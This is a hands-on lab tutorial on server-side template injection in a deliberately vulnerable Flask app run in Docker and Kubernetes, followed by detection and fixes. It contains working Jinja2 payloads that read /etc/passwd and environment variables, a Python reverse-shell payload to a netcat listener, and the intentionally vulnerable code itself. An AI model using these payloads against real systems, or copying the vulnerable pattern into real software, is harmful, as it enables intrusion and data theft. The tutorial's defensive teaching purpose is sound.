Server-Side Template Injection (SSTI) is one of the most common initial access vectors for web applications running in Kubernetes. When user input is embedded directly into a template engine without sanitization, an attacker can escape the template sandbox and execute arbitrary code on the server.
This tutorial builds a vulnerable Flask app, deploys it in Docker and Kubernetes, exploits the SSTI to gain a reverse shell, and observes every step at the kernel level with eBPF.
Every example is self-contained — you can run the Docker sections with just Docker.
Template engines like Jinja2 (Python), Twig (PHP), and ERB (Ruby) render dynamic content by evaluating expressions inside {{ }} delimiters. When user input is placed directly into a template string instead of being passed as a variable, the attacker's input is evaluated as code.
# SAFE — user input passed as a variable
return render_template_string("Hello {{ name }}", name=user_input)
# VULNERABLE — user input IS the template
return render_template_string(f"Hello {user_input}")
In the vulnerable version, an attacker can submit {{ 7*7 }} and see Hello 49 — confirming code execution inside the template engine.
# Docker only (for Parts 1-3)
docker --version
python3 --version
# For Kubernetes lab (Part 4+)
minikube start
# or: kind create cluster
Create a working directory:
mkdir -p ~/ssti-lab && cd ~/ssti-lab
Create app.py:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return '''
<h2>Greeting Service</h2>
<form method="POST" action="/greet">
<input type="text" name="name" placeholder="Enter your name">
<button type="submit">Submit</button>
</form>
'''
@app.route('/greet', methods=['POST'])
def greet():
name = request.form.get('name', 'World')
# VULNERABILITY: user input embedded directly in template string
template = f"<h2>Hello {name}!</h2><a href='/'>Back</a>"
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
Create Dockerfile:
FROM python:3.11-slim
WORKDIR /app
RUN pip install flask
COPY app.py .
USER nobody
EXPOSE 5000
CMD ["python3", "app.py"]
Build and run:
docker build -t ssti-app .
docker run --rm -d -p 5000:5000 --name ssti-app ssti-app
Test it works:
curl -s http://localhost:5000/
# Should show the HTML form
curl -s -X POST http://localhost:5000/greet -d 'name=Kurtis'
# <h2>Hello Kurtis!</h2>
# Mathematical expression — if the template engine evaluates it, we have SSTI
curl -s -X POST http://localhost:5000/greet -d 'name={{7*7}}'
# <h2>Hello 49!</h2> ← Template engine evaluated 7*7
49 confirms the Jinja2 engine is evaluating our input as code.
Jinja2 has access to Python's object hierarchy. We can traverse from a string object up to the os module:
# Read /etc/passwd via Jinja2 object traversal
curl -s -X POST http://localhost:5000/greet \
-d "name={{ ''.__class__.__mro__[1].__subclasses__() | map(attribute='__name__') | list }}" \
| head -c 500
A simpler approach using request.application:
# Read /etc/passwd
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read() }}"
# Run 'id' — who are we?
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}"
# uid=65534(nobody) gid=65534(nogroup)
# Run 'uname -a' — what OS?
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('uname -a').read() }}"
# List environment variables (reveals K8s service info)
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('env').read() }}"
Start a listener on your host:
# Terminal 1: start a netcat listener
nc -lvnp 4444
Send the reverse shell payload:
# Terminal 2: trigger the reverse shell via SSTI
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('python3 -c \"import socket,subprocess,os;s=socket.socket();s.connect((\\\"host.docker.internal\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"sh\\\"])\"').read() }}"
You should see a connection on your listener — you now have a shell inside the container.
Note: Replace host.docker.internal with your host IP if not on Docker Desktop.
You can observe the full attack chain even without eBPF by using strace on the Docker container:
# Get the container PID
CPID=$(docker inspect --format '{{.State.Pid}}' ssti-app)
# Trace the process and all children for execve and connect syscalls
sudo strace -f -p $CPID -e trace=execve,connect,clone 2>&1 | grep -E "execve|connect\(" &
# Now trigger the SSTI payload again
curl -s -X POST http://localhost:5000/greet \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}"
You'll see in the strace output:
clone(...) = 12345
[pid 12345] execve("/bin/sh", ["sh", "-c", "id"], ...) = 0
[pid 12345] execve("/usr/bin/id", ["id"], ...) = 0
This shows the template engine calling os.popen(), which spawns /bin/sh -c id, which in turn calls execve on /usr/bin/id. Every step is visible at the syscall level.
kubectl create namespace ssti-lab
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: ssti-app
namespace: ssti-lab
spec:
replicas: 1
selector:
matchLabels:
app: ssti-app
template:
metadata:
labels:
app: ssti-app
spec:
containers:
- name: app
image: python:3.11-slim
command: ["sh", "-c", "pip install flask && python3 /app/app.py"]
ports:
- containerPort: 5000
volumeMounts:
- name: app-code
mountPath: /app
volumes:
- name: app-code
configMap:
name: ssti-app-code
---
apiVersion: v1
kind: Service
metadata:
name: ssti-app
namespace: ssti-lab
spec:
type: NodePort
selector:
app: ssti-app
ports:
- port: 5000
targetPort: 5000
EOF
# Create the ConfigMap with our vulnerable app
kubectl create configmap ssti-app-code -n ssti-lab \
--from-file=app.py
# Get the service URL
SSTI_URL=$(minikube service ssti-app -n ssti-lab --url 2>/dev/null || echo "http://localhost:5000")
# Confirm SSTI
curl -s -X POST "$SSTI_URL/greet" -d 'name={{7*7}}'
# Enumerate K8s environment
curl -s -X POST "$SSTI_URL/greet" \
-d "name={{ request.application.__globals__.__builtins__.__import__('os').popen('env | grep KUBERNETES').read() }}"
The environment variables reveal the Kubernetes API server address and service account mount path — an attacker uses these to pivot deeper into the cluster.
The fix is one line — pass user input as a template variable instead of embedding it:
# FIXED version
@app.route('/greet', methods=['POST'])
def greet():
name = request.form.get('name', 'World')
return render_template_string("<h2>Hello {{ name }}!</h2>", name=name)
- rule: Shell Spawned by Web Application
desc: >
Detect shell processes spawned by web application frameworks
(Flask, Django, Node, etc.) — strong indicator of RCE exploitation.
condition: >
spawned_process and container and
proc.name in (sh, bash, dash) and
proc.pname in (python3, python, node, ruby, php)
output: >
Shell spawned by web app (command=%proc.cmdline parent=%proc.pname
container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name)
priority: CRITICAL
tags: [container, mitre_execution, web_exploit]
Even without fixing the template, basic input sanitization blocks most SSTI payloads:
import re
def sanitize(user_input):
# Block template syntax characters
if re.search(r'[{}\[\]()_]', user_input):
return "Invalid input"
return user_input
| Layer | Defense | What it blocks |
|---|---|---|
| Code | Pass variables to render_template_string() |
All SSTI |
| Input | Block {{ }}, _, __ in user input |
Most SSTI payloads |
| WAF | ModSecurity/OWASP CRS rules | Known SSTI patterns |
| Runtime | Falco: detect shell from python/node | Post-exploitation activity |
| Network | Egress policies | Reverse shell connections |
| Seccomp | Block execve for web processes |
Shell spawning entirely |
docker stop ssti-app 2>/dev/null
kubectl delete namespace ssti-lab --ignore-not-found
rm -rf ~/ssti-lab